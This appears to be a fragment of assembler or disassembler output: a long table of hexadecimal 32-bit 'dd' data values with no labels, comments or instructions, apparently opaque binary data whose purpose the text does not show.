		dd 0F5E0EB11h, 8E461EB8h, 82851353h, 0AA20D1A8h, 169AFBCCh
		dd 7A06AFh, 5A8FA344h, 53014651h, 0FEFB078h, 0E8434286h
		dd 6611B026h, 0BCA82E1Dh, 4F4300E8h, 0DE05E6D8h, 0F82A5200h
		dd 0A1C76D36h, 0CC4659E1h, 402BBF1Fh, 0B3266B8Dh, 0A9056DC4h
		dd 0C2DAC9FEh, 2F18E406h, 0A6204A8h, 88CB1017h,	4909F3C0h
		dd 0E446A24Ah, 0E096EAE4h, 20395BA9h, 0E2A254D8h, 2800F45Eh
		dd 92B877D3h, 0D9EE048Fh, 825298A9h, 620E5600h,	79E9FC45h
		dd 0FDFC114h, 201AD133h, 3F4A2F9Bh, 1DA5C447h, 25F781BEh
		dd 0EC387AD4h, 0A945B01h, 75ED76FDh, 11442CB0h,	0F07F6814h
		dd 5E18BA4Ah, 32146151h, 0A27074D4h, 18F0B634h,	807AB4F4h
		dd 25125358h, 640065ECh, 4DCA0684h, 526A4B14h, 24101DD4h
		dd 0C04AE23Ch, 0BFE88CE4h, 40A2101h, 0DB6DCDF2h, 0B24415F4h
		dd 1E046D0h, 2524C227h,	1086268Ah, 49018478h, 0A0B37003h
		dd 0C00BAD7Ch, 147B74Bh, 25D174A6h, 791EE530h, 959378h
		dd 0AF757805h, 256F4802h, 3EBC702Ah, 0A700234Ah, 0BDB813B1h
		dd 0CA186CC2h, 0B90E94Eh, 20B000B7h, 0C7EA52A2h, 0BA2521E4h
		dd 8C420BDh, 0C25561FDh, 6816A1D4h, 0C532060h, 4A13A8B0h
		dd 48C83712h, 0B99CEACAh, 0A3569254h, 0D02E2C2Ch, 0E6E9D4A2h
		dd 81B57802h, 9459CA5Ch, 2E80783Ch, 76223C16h, 80A52C39h
		dd 0FE476FFBh, 3C272381h, 75010D46h, 1862F0B8h,	45BBF0CBh
		dd 0C2B4326h, 18FE8709h, 4D49FD10h, 0A72C14F8h,	52D40940h
		dd 7D1A2896h, 395AF7h, 6D71B4ACh, 0AC695CFEh, 8087C800h
		dd 0F0ED25A7h, 0B3A8C8A3h, 0CA00773Bh, 41E60E35h, 82C1210h
		dd 3C24A1CDh, 0FFE0AA01h, 58976CE4h, 0BAB4C061h, 1C003E05h
		dd 1518459Ah, 58487704h, 0A2804419h, 6BF62D2Bh,	4ED9A900h
		dd 0F9D794BDh, 0C7CA2526h, 0ACE20800h, 5C26C363h, 93107850h
		dd 7297A304h, 5344E26Bh, 0A52D1288h, 0A33D0C04h, 7EA254D0h
		dd 83ECA069h, 739D0A97h, 262054C9h, 642F081Ch, 0FF455101h
		dd 0EC23C4E9h, 0CE4CDF20h, 489F24ECh, 108884ADh, 3B5C6C90h
		dd 0F0DE5072h, 480A40A7h, 0A1E4094Ch, 0E90099DFh, 0F78B7CCh
		dd 93DA290Dh, 6468B0BDh, 34192738h, 29D029BFh, 0EC80D604h
		dd 12ED7A6Bh, 440708A1h, 832869D0h, 82C01588h, 7449B0C9h
		dd 30885834h, 58B1C0AAh, 65DD06A6h, 20B38BCAh, 1EF30D0Dh
		dd 56F0B17Fh, 470D2EAh,	339048h, 4EC722A9h, 56D903ACh
		dd 370210F3h, 828C9581h, 25D55C20h, 81306B22h, 8C413216h
		dd 8B31AA3Ch, 0BA0804Ch, 72C419BCh, 9860ECC3h, 0B503BD18h
		dd 0B22A24B0h, 0DB0B39E0h, 7880381Ah, 0DFBAE29Ah, 454AA9B0h
		dd 44CF2813h, 984ACC40h, 4D264248h, 0A1EA7D60h,	1093FA25h
		dd 1284C0DCh, 0F03DC0Fh, 9480B4E4h, 0A75C9D6Eh,	62E060BEh
		dd 4C1DFDBh, 0A7A1E327h, 5CE8A0F6h, 0CA095343h,	189A4F84h
		dd 0BC44485Ah, 156924CAh, 4F4C05Ch, 803E295Dh, 0B98107C4h
		dd 0B5002EA4h, 692056B8h, 148381A7h, 83D47F6Fh,	8FF1C6C8h
		dd 0F4A02F24h, 0EF9E674h, 23C98013h, 93B8590Ah,	2CC67D4h
		dd 68592FF4h, 4EA49D0Bh, 0DA060FA8h, 3FE96F4h, 630FA228h
		dd 0A8D9804Ah, 4C411C78h, 3AA8FD4h, 0C9D252FBh,	2800C61Ch
		dd 56637E17h, 3ECC5F39h, 92017D43h, 0D3E37F0Eh,	8BCC2081h
		dd 71EDB403h, 219496A2h, 9C24BC69h, 94DA3C3h, 0B96CDA19h
		dd 0D2493400h, 60A8BD81h, 7C4806AAh, 59804D90h,	48282C94h
		dd 0C4DF7D0Bh, 95F0A66Ch, 0A41DACA5h, 6602FB84h, 0CCFD157Fh
		dd 1785427h, 676BB81Eh
		dd 0EC48D80Eh, 0E0F99A2Ch, 0C2398D09h, 52E8489Ch, 0B5FD1817h
		dd 7CCB6973h, 91A81404h, 0E8A0F465h, 64C30FDh, 94C9D358h
		dd 7C54AE59h, 1896C230h, 2A25BC39h, 0FC2282h, 58F87073h
		dd 193F7BDBh, 0F711321Eh, 25EB62C0h, 91025F36h,	40D78174h
		dd 8F6A7BCAh, 96631858h, 2864A829h, 0B250FAA2h,	751514A8h
		dd 8285B8AAh, 74CB6BDh,	7ED17D53h, 855C6889h, 0F76F099Ch
		dd 3B00ABDEh, 2704BEBh,	1E9F8639h, 0CB5E4DBCh, 0B804F5D3h
		dd 1A0495B0h, 7D6CC0C4h, 49094D5Fh, 70A7F851h, 9A149E80h
		dd 0B0CEC86Fh, 90AF7241h, 0C2E23433h, 0A0018EFFh, 25BBDFEAh
		dd 289B738Eh, 148C1FD0h, 6C1B235Eh, 0D539FE00h,	625014B4h
		dd 7567D0B8h, 1D305970h, 5785FB9h, 0CD30E274h, 319CC1F4h
		dd 5688209Ah, 4451A215h, 0A1484024h, 8F15426h, 0DCF05100h
		dd 3C7BC4EBh, 25125975h, 0E414F179h, 39902F1Ah,	1109686Fh
		dd 0AE3F2301h, 8D12C243h, 8167410h, 2068202Bh, 0D57F4F59h
		dd 69122898h, 5C0543A5h, 0F8E64552h, 0ECB10E00h, 8190444h
		dd 0C4F02FFDh, 0D1651325h, 993000DFh, 3FD29FACh, 0F0BDA23Eh
		dd 1400BB5Bh, 4620DEB8h, 0C8C90BF2h, 20186AFCh,	8093A36h
		dd 0D07AF9CAh, 8BB40034h, 0EA35E16Eh, 4504A8CBh, 0EEF27CB1h
		dd 54734081h, 0A240B405h, 0D38C324Ch, 7CC7B438h, 0A69C9676h
		dd 283F4248h, 551EB8E6h, 1E603325h, 9E96F4Fh, 18A44693h
		dd 0B98221B6h, 2C127C33h, 0FAC000Ch, 0CCB10968h, 21DC2A01h
		dd 5F8DCA36h, 22FE8080h, 1771329h, 0FA45DB0Bh, 181FF873h
		dd 406D67FDh, 0A49C3319h, 4E96C9C0h, 0FD5A0555h, 0A595A2B8h
		dd 98002A0Ch, 0D0833F6h, 562A090Ah, 2C704923h, 0A228C89Ah
		dd 10CB1866h, 93866EAh,	48901711h, 0B3C9C482h, 59423C71h
		dd 4098742Ah, 0CCC9589Dh, 724480BDh, 56D07FAh, 0DA3A0AA5h
		dd 1C5C3D1h, 48F847AAh,	523B7B03h, 7362F925h, 6432FB10h
		dd 6FEDF978h, 0C0820841h, 47200833h, 43B14F0Fh,	33F4603Ah
		dd 1B22890h, 23F9684Dh,	25A3B9CAh, 17143C00h, 0B48AE2E7h
		dd 4F092448h, 0DCE63EE8h, 39A3A10Ah, 786778F6h,	0B70FBCC0h
		dd 35020005h, 1FA2BD53h, 821216E6h, 1103B22Ch, 0BB57503h
		dd 0E7C96B49h, 0B3A348C8h, 47CDAA07h, 0BC0A58A2h, 23073CA4h
		dd 0FC3064Eh, 8C1048A8h, 0BEC84B5Bh, 7B0F685Ah,	8180F408h
		dd 65FAC974h, 750A1880h, 3D161CADh, 21021516h, 13085C10h
		dd 44A247BEh, 0A0068812h, 2D68B9E0h, 5E9B481h, 4082F69Fh
		dd 20D4D048h, 0F00B2B6h, 0FBB4BE49h, 0B86E093Ah, 985062B8h
		dd 7C46BD4Bh, 0E0B12F00h, 8478FC6Ch, 93A613DDh,	8F4405DAh
		dd 3F149158h, 5EE0207Fh, 5A00B7F0h, 9DF463ACh, 22C01BFh
		dd 251D6A5Bh, 7C60E695h, 620114B6h, 3B73E231h, 8C79D637h
		dd 8C7C4496h, 805909A7h, 7C3A8124h, 5CE03C62h, 4C10B030h
		dd 0B50FBA2h, 0E90752ECh, 15236368h, 20A05A86h,	53005720h
		dd 0EB46D939h, 7D5211h,	40D54A7h, 6234EA49h, 0C0476013h
		dd 0F08000EAh, 3FEEF7Dh, 0EA227601h, 3BD85AC4h,	0D03B0C31h
		dd 542A6080h, 87CEBF1Dh, 71F85200h, 73A445BBh, 0D4470CD2h
		dd 0A9083773h, 0BCFCCD2Eh, 0B00D0300h, 2EAAFA3h, 25D619F8h
		dd 707042E5h, 7A28C303h, 0E3C9D8C8h, 0F97512h, 0ACDBF539h
		dd 572B7256h, 5C24630Eh, 5319814Dh, 602E7762h, 0F28376B0h
		dd 54D5A502h, 0C0639DF0h, 83B1ADE8h, 240A3D4h, 72172A70h
		dd 0BC50406Bh, 0D10A81BEh, 75A0704Dh, 619C5E82h, 3010A4FDh
		dd 0D001BD10h, 2A75E906h, 2F5424h, 1801C680h, 0EA004143h
		dd 985166C8h, 0B0F3F27Bh, 540880D0h, 0C6A20078h, 53C914F9h
		dd 6415BCBFh, 0FA4A86Ah, 0A0E9C8FDh, 49023E99h,	0D1B8487Dh
		dd 0A2581603h, 981DBB0Fh, 4D03DAA0h, 0F8C61CEDh, 0B438576h
		dd 0D965B359h, 753C4E0h, 0E5ABC0Bh, 963C4616h, 0C95340B0h
		dd 279F48D7h, 0D9C97658h, 0A6438850h, 0CE02EE00h, 1E06A219h
		dd 0C03A7C09h, 0A4833D4Bh, 0E5002815h, 2FC37F68h, 7A3E2C9Bh
		dd 0E49148EBh, 8B66AB02h, 8CE9CBA2h, 0C634D0D8h, 0C2BD4F16h
		dd 46B26080h, 2B5635D7h, 238A0E0h, 331C2700h, 0DE2AE130h
		dd 3DE828C9h, 0FDB201DCh, 11255B42h, 0AC012EA1h, 86D2C95Ah
		dd 86C8A6h, 15A9DD05h, 64FC472Fh, 6F800754h, 0A12000B5h
		dd 2569535Dh, 60547AA2h, 0CE45893Bh, 0B49C02D8h, 7D7440E2h
		dd 0AC124C36h, 13AAADC0h, 82EE0D61h, 3CF0854Ch,	0A29F0081h
		dd 39E07201h, 73D600A3h, 0F62CC1EAh, 252C3B37h,	7D84B096h
		dd 0C8D11192h, 5834E1B7h, 3914B297h, 28E5AEDAh,	0D80EEE4Eh
		dd 4C5C4E9h, 354A0A0h, 0DA06B79Ah, 0F848AF16h, 8AEF1800h
		dd 0F3D0CA48h, 1CF98040h, 73E30129h, 0FE0DBAF8h, 4397DC37h
		dd 0C1EAA09Ch, 3D008D16h, 735FC37Ch, 32E0FF29h,	483358FCh
		dd 0B8251163h, 94E037E3h, 287F1864h, 79AE6300h,	63EA814h
		dd 535A07ACh, 815D97CCh, 0E059A7E4h, 0BE007028h, 2E8B875Fh
		dd 78B44A79h, 0F4D29F32h, 55730C01h, 18B399A9h,	84034E1h
		dd 0DF80E78Bh, 29DEC230h, 1C801933h, 0DBC009D4h, 8B73A706h
		dd 7185E11h, 0CC29D6B0h, 0DC7057FDh, 80EF4698h,	0B490CA88h
		dd 3CEE8F99h, 56BB11DCh, 6E99E2Ch, 580F1C64h, 0B5075C74h
		dd 0B3EC02DEh, 0F2B7E383h, 2B848045h, 3BD7FB6h,	0E58ED00Ch
		dd 80DE73B3h, 0A85A9231h, 7840E391h, 0A38132h, 4CD74F56h
		dd 0CF8BBA6Bh, 0ACA82560h, 6734AD5h, 19327916h,	33006021h
		dd 8844E018h, 50933E45h, 1FE8A862h, 72ABBF4h, 9040D97Dh
		dd 608CD241h, 8DCC503h,	0A88DE035h, 71969C71h, 649F00E1h
		dd 2A4B517Fh, 40F9E83Eh, 1B338680h, 4401A0A4h, 5749606Bh
		dd 0D89FA173h, 0BBBE83D4h, 780CB9C5h, 98123E32h, 0FF611979h
		dd 0BEBB389Ah, 58720141h, 39A83EBEh, 0EB7B1083h, 0DDE8EEFBh
		dd 0A7661A64h, 159BD28h, 768C0E3Eh, 0E3AFD218h,	5E60A3A0h
		dd 94E863F0h, 8B83E605h, 0A41C7B41h, 2E581480h,	54D83E1Ah
		dd 0E8E078h, 7C96726Eh,	4233D69Fh, 0FAA9D903h, 99EC114Ah
		dd 35F194F7h, 171B15C0h, 661B343h, 0C85DF2FEh, 3C1824A2h
		dd 2E2A3E91h, 0ED6090E3h, 6EC0E70Ch, 0A77831h, 71769B11h
		dd 0BF9264BDh, 32AA1501h, 0BCA4D18h, 135605F0h,	14617C10h
		dd 463118C4h, 224F4758h, 0BFD41DA4h, 0C0368239h, 0A1287E61h
		dd 9043B78Ch, 388FD2D0h, 3E81E3BEh, 89CF20C8h, 8A0CC4D3h
		dd 10315933h, 0F34EF17Fh, 77928450h, 18450447h,	90211061h
		dd 0E2C00E88h, 10E06A30h, 0A899C63Eh, 0A2DC9EB8h, 0CADC22E5h
		dd 0DB889096h, 48731247h, 8B0403C1h, 182628BCh,	0B30704D7h
		dd 0C2863E95h, 0CC9DE78h, 9C58EF94h, 0F700C078h, 7F5EB3ADh
		dd 582A8ACBh, 96050440h, 997CAE3h, 0D400C134h, 0E65BD1DBh
		dd 0E611F09h, 3500A098h, 48B8C86Dh, 620680C0h, 6896244Fh
		dd 0E87880FDh, 65D4A472h, 0A712368Bh, 0C001C50h, 90FE6CDEh
		dd 9B30BFh, 47A55854h, 3EAC5E9Dh, 40AB2526h, 2A566D80h
		dd 0C0527CADh, 956108D8h, 7600E530h, 3D930DD6h,	8B2D83Fh
		dd 0A7D0EA63h, 8DB8E802h, 7C4C4074h, 54AF81CCh,	229852E4h
		dd 4820459Ch, 94EDEFCh,	0F9B26160h, 437E0803h, 110B0C0h
		dd 94083303h, 0E1CB742Ah, 0A8BC7A3Ch, 0A8CC22A8h, 0A30DE8Ch
		dd 58B9E243h, 661E3C90h, 48E90C60h, 60C47611h, 0CE016422h
		dd 30F2B101h, 75504E38h
		dd 0BCA4D9B8h, 73F75904h, 7890AFC0h, 4CD2E193h,	8528091h
		dd 680EB708h, 0E42B14h,	0D0A1FCE7h, 60CC8B7Eh, 0E631F845h
		dd 8E4C1090h, 14AF20A8h, 345E25C0h, 9CD40C14h, 69653E09h
		dd 0B5E83420h, 4F0C109Bh, 70C0AD61h, 60460CE0h,	0E208DE96h
		dd 8CA5E40Ch, 4AFA1FFh,	0DC9DD2EDh, 0FDCA211Dh,	77616840h
		dd 0E918C399h, 44E1F8CCh, 0B764304Bh, 650C5681h, 90D21640h
		dd 2ADE0C5Ch, 0E9D1B68Bh, 4823421Ch, 0FF00F83Bh, 29377E91h
		dd 0F0CC7FA6h, 0DDBB195Dh, 888F4190h, 60A28550h, 0E3B132E1h
		dd 2FED98C5h, 66A3F00Eh, 0F084046h, 0EEC46030h,	2B88210Fh
		dd 44AB8B06h, 151C9A80h, 741FD947h, 0E204FF21h,	28159D8Bh
		dd 3580984Dh, 49FA5C01h, 601DB324h, 7C010820h, 2B5307D7h
		dd 38607F4Eh, 409641FBh, 4241E7C8h, 0AFBD0802h,	60F05DCEh
		dd 0E972F590h, 0D40B5889h, 8BA7E900h, 38C11AC5h, 0F43B3E9Fh
		dd 8AFBF840h, 0DF5B4099h, 4E737F05h, 0D063F5AEh, 0A68074D9h
		dd 203E179Ch, 0DE0C3137h, 0FBFC4156h, 6EE19E7Bh, 0C0853826h
		dd 0EC86D691h, 8B4F0C30h, 4358AB4Eh, 350ACD00h,	0D431E05Eh
		dd 4840B880h, 7E15651Eh, 3282A460h, 0BCC06AB9h,	0F899A747h
		dd 0DCD8EC0Ah, 0FC70DC18h, 9537C46h, 9FA23ED6h,	0A79894A0h
		dd 1844EC9h, 0F3E92A90h, 0E16459BCh, 0DF0840F8h, 332973AFh
		dd 0E606CC1Eh, 6B9BFE2h, 953E1FB3h, 0AD245897h,	0B71EAC29h
		dd 0B4546792h, 47830234h, 6841D7E2h, 0A0BFB8D8h, 0E323BAB4h
		dd 128B14D0h, 224F88C2h, 4C3A4518h, 284890B0h, 548CF41h
		dd 68B07DEh, 1ACC4004h,	7E0EAEF8h, 68F38E0Eh, 0D33805Fh
		dd 1623E9Bh, 4732468Ch,	204DB661h, 0B0005208h, 0BC9A5B81h
		dd 7AA2F7D9h, 3419056Eh, 802AED4Dh, 4C8BC9C0h, 12B35507h
		dd 587288ECh, 477041CEh, 80A3C820h, 0A5D4C32h, 0A61C0270h
		dd 407C67D1h, 3EB71464h, 1D0093CCh, 0BD556252h,	3F56B23Eh
		dd 4C6C5270h, 0DCBF13A8h, 29F7032h, 0E8832892h,	88C45FD9h
		dd 16F07B20h, 0F24298A6h, 3624610Bh, 87B84A4h, 96A61047h
		dd 89B75C0Eh, 5AF885D6h, 0A8CBDC34h, 507800D3h,	0AD76BB91h
		dd 20A6F099h, 94DC0CC0h, 615E0BBAh, 48092BB4h, 0EFA8E4A0h
		dd 34524E81h, 293E0CE8h, 58D0485Ch, 0A015057h, 1746518Ch
		dd 0CFC2644h, 90B22732h, 30709043h, 89A914ECh, 0DF0FADF6h
		dd 0A19A15Eh, 610608F1h, 86682306h, 7F460F78h, 3980A61Eh
		dd 1F614482h, 318E64Dh,	535BEF33h, 8117A8B6h, 893126ABh
		dd 0A73A0724h, 0FB31398h, 43082840h, 7E143150h,	0CCD01451h
		dd 5A04BE5Eh, 742B32BAh, 6E29EC80h, 50B9027Fh, 82963EB0h
		dd 4B818C40h, 951464F7h, 540ED628h, 74090C6Ah, 0ED04C020h
		dd 4B7809FDh, 40CA4082h, 16B310FCh, 3DCA69Ah, 7E5613Ch
		dd 0E8F0F006h, 0A78769Ch, 0BFF8714Bh, 0B5EC00BCh, 663E83D4h
		dd 0E480F66Ah, 8F0CB941h, 41BC4AFEh, 18873184h,	814DE553h
		dd 23663381h, 4D84CC4h,	0FECA32C1h, 841294CCh, 0B714E884h
		dd 0D2BC55EAh, 0DC202861h, 98D79C30h, 18308400h, 0A0D25D3Eh
		dd 14308BBEh, 6A491848h, 4C893A9Ah, 9519320Ch, 58983148h
		dd 0BEB0280Bh, 0EC7420EBh, 0A3779C32h, 4A210380h, 561D64E7h
		dd 92326114h, 0F4CA0090h, 83E58617h, 19603061h,	3D391020h
		dd 5E82D48h, 70539A16h,	30A1F400h, 0F64602F4h, 5C1007Bh
		dd 5D63F386h, 0E314EDCAh, 84698Ah, 3D50BD3Ah, 4D5A3273h
		dd 2600FC34h, 0ACE52831h, 4B0082F5h, 609EDC0Dh,	50BC3EA7h
		dd 778C7Eh, 753CD9C1h, 84C57F34h, 992B8B10h, 6EC3D001h
		dd 0FCD68CE7h, 40048F3h, 39D96A86h, 0E39B7Bh, 0AFC172A1h
		dd 108B0C56h, 9CB252h, 0EA62A384h, 1457940Ah, 0B0C9033Eh
		dd 538B821Fh, 0B700372h, 80C28A66h, 0E2AA94C8h,	92C3E600h
		dd 622B9C05h, 4C7659DCh, 6E9400D3h, 0A16FDAACh,	48A01D5Ch
		dd 1A890039h, 0B1B540D9h, 0BEF803E7h, 8C903427h, 503A19A8h
		dd 9301D498h, 3E5D9EBCh, 5086074Dh, 787B2BC0h, 630914A6h
		dd 998CCAEAh, 2B0C5748h, 80B07959h, 0D05F1931h,	0E8CB1B7h
		dd 0B0F81661h, 340121C2h, 0EECFBC0Dh, 8BF41568h, 584460C1h
		dd 63212A1h, 51C6148h, 0CD6782Bh, 72332C0Fh, 0C0E05022h
		dd 54D696D0h, 771B3C0Fh, 548B175Fh, 8228377Dh, 0FC8136CAh
		dd 249061E1h, 98C356A0h, 0C4B3C742h, 82D204F6h,	0BC60BAB8h
		dd 0B640333Eh, 94E92672h, 68B70244h, 586079BEh,	0AD24869Fh
		dd 0A83E005Ch, 6090087Fh, 62011484h, 0BB56D88Eh, 0E4358013h
		dd 86EFD840h, 92C49031h, 99D501ECh, 0CA4503BFh,	64B8D0F5h
		dd 1D00D8B0h, 0D359944Eh, 0B8514631h, 21CB34Ch,	65D532E3h
		dd 0CDC08209h, 0F804C136h, 7C73B821h, 98AF5F25h, 0B5FD5BE2h
		dd 2B740C40h, 0DECE6816h, 2C01E012h, 0E1EE607Ch, 0FD44C60h
		dd 59BD1751h, 8401093h,	1400BC51h, 0C94EC832h, 18107A68h
		dd 0B902E4A8h, 5BB802Bh, 3EE8E66Eh, 303A81ECh, 0C2C32E78h
		dd 28311084h, 0E37C8CD4h, 70609328h, 3421524Bh,	3C0D8D0Ah
		dd 5976CE0Ch, 0E873B030h, 0A1350B86h, 4D081903h, 4D51638Bh
		dd 0DD849030h, 60D4808Fh, 28FF64FBh, 17560930h,	9BA88B29h
		dd 508CA4B0h, 4060484Eh, 40E0E989h, 6C943DC1h, 4EC9A861h
		dd 0AFCE4A10h, 5048E04Ch, 0D8A22153h, 0D2A62468h, 333B900h
		dd 92FAA042h, 156E2E4h,	4B644099h, 0E9CAEC13h, 0A938305Dh
		dd 32700B04h, 0C826C7Ah, 8B58C13Dh, 4E3EABE0h, 0D00C09ACh
		dd 0A3C3A440h, 94D2E0C1h, 904C20DCh, 0F0DD4C22h, 0BB2509DEh
		dd 801B3420h, 0F44F8E74h, 3044B456h, 0A4B09D61h, 504A07CBh
		dd 0C19EEBBCh, 20877DAEh, 65131A7Ch, 904598AAh,	8C03476Bh
		dd 0C18164A1h, 0CEE241FFh, 70CC5864h, 0A876E014h, 30BC9199h
		dd 49E7194h, 0A167044Fh, 0D2F7FC8Dh, 0C2DCE38Fh, 2CAC5347h
		dd 122820ECh, 985164F3h, 70F9B77Ch, 0D7413B4Ch,	0C0D48820h
		dd 30ED6ADEh, 94900610h, 0AD307FF8h, 68F31091h,	909052h
		dd 0F5806121h, 7986395Ch, 5322D8B8h, 0DCBC80A1h, 2CBCB14Eh
		dd 1CB7854Ch, 0EF54934Fh, 215C94D4h, 604ACh, 24A278D5h
		dd 0E245835h, 0C80AD0Dh, 61B83DD9h, 18E9D730h, 2C66B82h
		dd 3201596Ch, 0A8610B03h, 861CD844h, 3FB08360h,	5F79F3h
		dd 242AE4FCh, 0EF457C76h, 17B2C704h, 3481D2EBh,	40741656h
		dd 7EE13032h, 111C34A0h, 469DCF00h, 0D99130D3h,	94CEC05h
		dd 86253E0Ah, 0DCBF2800h, 4200B319h, 992E5D70h,	1DE64F38h
		dd 41A315E2h, 43793386h, 0D687C865h, 0AD743100h, 61738566h
		dd 0B4544907h, 92790112h, 7102A644h, 933004Ah, 980165C8h
		dd 2359D6BFh, 0E0F65F92h, 5C69EBB4h, 3001E886h,	61FD8464h
		dd 0E00FD533h, 7E2C772Bh, 0A4140C5Ch, 0D0037DB4h, 105D616Ah
		dd 0A063B840h, 1426E6B1h, 40452756h, 4447D898h,	35816000h
		dd 9B5264C9h, 7C0E037Eh, 76A0CBAAh, 86984BC3h, 0A276733Ah
		dd 0A63E1D04h, 60E259B4h, 10E0E318h, 7280909Ch,	188BA9Eh
		dd 3D6591F1h, 7563C136h, 0FFEC02ACh, 3E425059h,	0B004589Eh
		dd 86B22054h, 9C08DA0Bh, 322401F4h, 38A6B9C0h, 2CAC24D8h
		dd 0E0EFC4F4h, 0D4373E60h, 0B4B4847h, 3384983Ch, 3156601Ch
		dd 0ABAC3516h, 558DD800h, 950AA627h, 9038B060h,	4030D273h
		dd 7D2BBE8Ch, 0BC9C0DD6h, 42CF8D42h, 77C501F0h,	0E0609EF8h
		dd 7BA17EE0h, 0C10B0041h
		dd 7650806Bh, 0E2164521h, 0D852665Bh, 0E173E00Bh, 0BC376E24h
		dd 8A01D900h, 32EB5A64h, 0B9A02132h, 0F93E1065h, 0BA884961h
		dd 0EC78838Bh, 3C634C79h, 0E2C00A3Bh, 10523C2Eh, 803CCC69h
		dd 5EFCF94h, 5DB00633h,	282880C8h, 5B3C7DF4h, 83A032h
		dd 0DFE6EF26h, 65EC6158h, 0E75CC8B2h, 480894A8h, 0C5484D00h
		dd 98C857D0h, 8BE8C2C1h, 7CD86AAEh, 70B9BB18h, 3BE8789h
		dd 27B53FCCh, 31DB329Eh, 8880F100h, 46863A8Ch, 597A053Dh
		dd 3A18506h, 118E32C8h,	301E2828h, 0BC4ABE44h, 8C0A402Ch
		dd 0B94F3E45h, 0FCCD00Bh, 75F80458h, 60121095h,	0DBC128D0h
		dd 4E200A34h, 0A4C8F832h, 0A1873E8Ch, 563E41D2h, 0CA1C382Bh
		dd 2441879Eh, 0D0CEA915h, 6A7EE0FEh, 0E09404F7h, 800B423Dh
		dd 86617A50h, 0EC40A541h, 59DB8BEh, 0DC02B385h,	519C2956h
		dd 24C75E60h, 2F04F8A0h, 92B31C4Bh, 352470B3h, 29F61A04h
		dd 7B04E0D1h, 542B727h,	10C4B371h, 123EAA0Ah, 0FD84BC1Eh
		dd 0FCF04691h, 8B8509F5h, 5C41A572h, 1878823Ch,	60629F46h
		dd 2F20B3Ch, 8B72E749h,	54492F33h, 61CB2008h, 0FD4A8D16h
		dd 3E08B810h, 0A078A832h, 3EACD80Bh, 0B380E0C0h, 51DF001Eh
		dd 0ED870CADh, 1D4C5632h, 0A5F18080h, 48E68992h, 0B31C20CAh
		dd 0EBAD4095h, 8725D9BCh, 1942CB0Fh, 7AF3E53Ch,	74E87480h
		dd 71A7959h, 0C18014D9h, 8832310Eh, 4C8C407Ah, 0BFF0EC12h
		dd 2A0A148h, 0D23EA81Eh, 4A0840A0h, 57C22C9Bh, 0E4BA45C4h
		dd 98B07B58h, 15CC8650h, 5E8884B4h, 0ED82BF9h, 8DA1A7A6h
		dd 0D17B6BA2h, 9FA0E35Eh, 884AEFAEh, 10D4288Ch,	50DBC037h
		dd 0AF80C5D4h, 7B321899h, 0A40CA056h, 4DC63E3h,	4D3E272Ch
		dd 0B5ADB0D0h, 0A06750CCh, 9C5778FBh, 9F320484h, 0C601038h
		dd 60ABC68Bh, 70D890B0h, 99BC004Bh, 0AD92D8BFh,	331C198Eh
		dd 0AF806C4Dh, 7A490994h, 59D300B0h, 64F24A52h,	9CBE2428h
		dd 0EB11DA40h, 0D095378Ah, 58664958h, 89504D5Ch, 96382493h
		dd 0B015BCD9h, 8B0C4C8Bh, 0D7103350h, 4250397Dh, 6CBBB024h
		dd 0E6805826h, 0AE97A842h, 0EA8006ABh, 50507C32h, 0DAEF19FCh
		dd 0E93E68E1h, 0CF78875Dh, 0B820C90h, 25070EEh,	32F8104Bh
		dd 98B278C8h, 6CDAC442h, 58333E1Ah, 68CCC130h, 4C000BE6h
		dd 0E90B7D96h, 0F84044B0h, 84520FDCh, 63896107h, 90603887h
		dd 4232579Dh, 0ACFD4E00h, 0B9BFD9C3h, 84BE0099h, 94218C5Dh
		dd 0AA01529Ah, 327EE7C0h, 2B031CA1h, 0C260A004h, 0F0B0DE64h
		dd 71664ADCh, 2E4673F8h, 79783C26h, 8B170A43h, 1D0CB30h
		dd 60634493h, 0A1883049h, 0DC414E5Ah, 78E232EFh, 1324E83Ch
		dd 0BB6C0C90h, 0A01DA50h, 611CC745h, 5C32978Fh,	0BB0E9A00h
		dd 0EE1FA350h, 2F433218h, 3E477940h, 444873A7h,	24B89C13h
		dd 0C494ACFCh, 8CB8A839h, 5C305011h, 3C538760h,	0C40B077h
		dd 0A0E77F34h, 95BD6DDCh, 85E4A805h, 5EE85384h,	0EFEE0AC8h
		dd 74766080h, 83084EBAh, 2656248Bh, 6952420Ch, 0F0A8C206h
		dd 20A66EDBh, 1750578Ah, 898116B7h, 0AE545860h,	89243E17h
		dd 38B26824h, 5554A10h,	0DC9360BDh, 0FC32B08Ch,	0B6A1CC6Eh
		dd 274158B0h, 0E6854070h, 0B7F80DAEh, 779490Ah,	54E4F9D0h
		dd 48530B4Bh, 4B86E4D8h, 8914279Fh, 91003052h, 700A37D6h
		dd 128B8977h, 0CC4AA31Bh, 31FFD4E4h, 0C8CC0D40h, 5D6C650Ch
		dd 5C421851h, 0E417E2E2h, 82D41C9Bh, 5E815D8Dh,	7DE04CE0h
		dd 88BD102Eh, 0D2F02D00h, 58C8648Ch, 0BB0B34FFh, 302A87E4h
		dd 32E60234h, 0D498F344h, 0C22E9C9Fh, 3EE7DCB7h, 68D2A2C5h
		dd 120C51DBh, 16A20A1Ah, 7F968088h, 0CAAD7957h,	0AB6D9B0Eh
		dd 5BC4B872h, 10AC0667h, 10184AAAh, 0E98BBD0Bh,	4C84AF80h
		dd 40426945h, 0F60D9A2Dh, 0B89F0164h, 0DBAB5852h, 140824ECh
		dd 0F839B8BCh, 3EAF818Eh, 94E138ECh, 24D6401h, 5B4476E5h
		dd 888F9038h, 0B870C07Ah, 80D1484Bh, 0D205C849h, 344E56C0h
		dd 314068B8h, 5FF2D32h,	56E8141Eh, 6B2238A8h, 93127090h
		dd 80E1113Eh, 0E434002Ah, 9A6498D2h, 7EE87960h,	3DD97C0Dh
		dd 27BDE111h, 804F044Ch, 3E5835A8h, 74FBCE24h, 9C2E8C2Ch
		dd 1A7057C7h, 1D96F73h,	0C75C013Ch, 9F0D3256h, 20007BC1h
		dd 27D11383h, 96E7124Ah, 8B6830EDh, 0C8C7EC69h,	0FC830E5Eh
		dd 0EAD0A7A5h, 24B7CDA7h, 8182BEEh, 2D012288h, 0D80E3EE4h
		dd 49CED0BDh, 0A42001DCh, 34D377C4h, 8B6320C9h,	7B78E2A0h
		dd 849AA7E0h, 0F5969C25h, 0CDD00430h, 5B5826F8h, 0C8F10025h
		dd 31C1BC00h, 438B17BFh, 20B8CD38h, 3920B748h, 0C7EC8BF2h
		dd 500F84E9h, 6C84F892h, 0C63E1378h, 9628429Bh,	0E58AF84Eh
